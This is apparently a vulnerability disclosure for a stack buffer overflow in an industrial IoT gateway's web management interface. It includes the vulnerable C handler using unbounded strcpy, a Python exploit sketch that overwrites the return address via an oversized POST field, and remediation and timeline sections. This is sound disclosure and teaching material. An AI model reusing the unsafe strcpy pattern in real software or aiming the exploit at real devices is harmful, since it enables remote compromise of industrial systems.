Buffer Overflow in Industrial IoT Gateway

Overview

During firmware analysis of a widely deployed industrial IoT gateway, we identified a critical stack-based buffer overflow in the device's web management interface. This vulnerability allows remote code execution with root privileges.

Vulnerability Details

The vulnerable function handles HTTP POST requests for device configuration:

void handle_config_update(char *request) {
    char buffer[256];
    char *param = get_param(request, "config_data");
 
    strcpy(buffer, param);  // No bounds checking
 
    process_config(buffer);
}

The strcpy function copies user-controlled input without validating the length, allowing an attacker to overflow the stack buffer.

Exploitation

The attack requires:

1. Crafting a POST request with oversized config_data parameter
2. Overwriting the return address on the stack
3. Redirecting execution to attacker-controlled shellcode

import requests
 
payload = b"A" * 256      # Fill buffer
payload += b"B" * 8       # Saved frame pointer
payload += p64(0xdeadbeef) # Return address
payload += shellcode
 
requests.post(
    "http://target/api/config",
    data={"config_data": payload}
)

Impact

• Severity: Critical (CVSS 9.8)
• Attack Vector: Network (requires access to management interface)
• Privileges Required: None
• Impact: Complete device compromise, potential pivot point into OT network

Remediation

1. Replace strcpy with strncpy or safer alternatives
2. Implement input validation and length checks
3. Enable stack canaries and ASLR in firmware build
4. Restrict management interface access to trusted networks

Timeline

• 2025-01-10: Vulnerability discovered
• 2025-01-11: Vendor notified via security@vendor.com
• 2025-01-15: Vendor acknowledged receipt
• 2025-01-25: Firmware patch released (v2.4.1)
• 2025-01-28: Public disclosure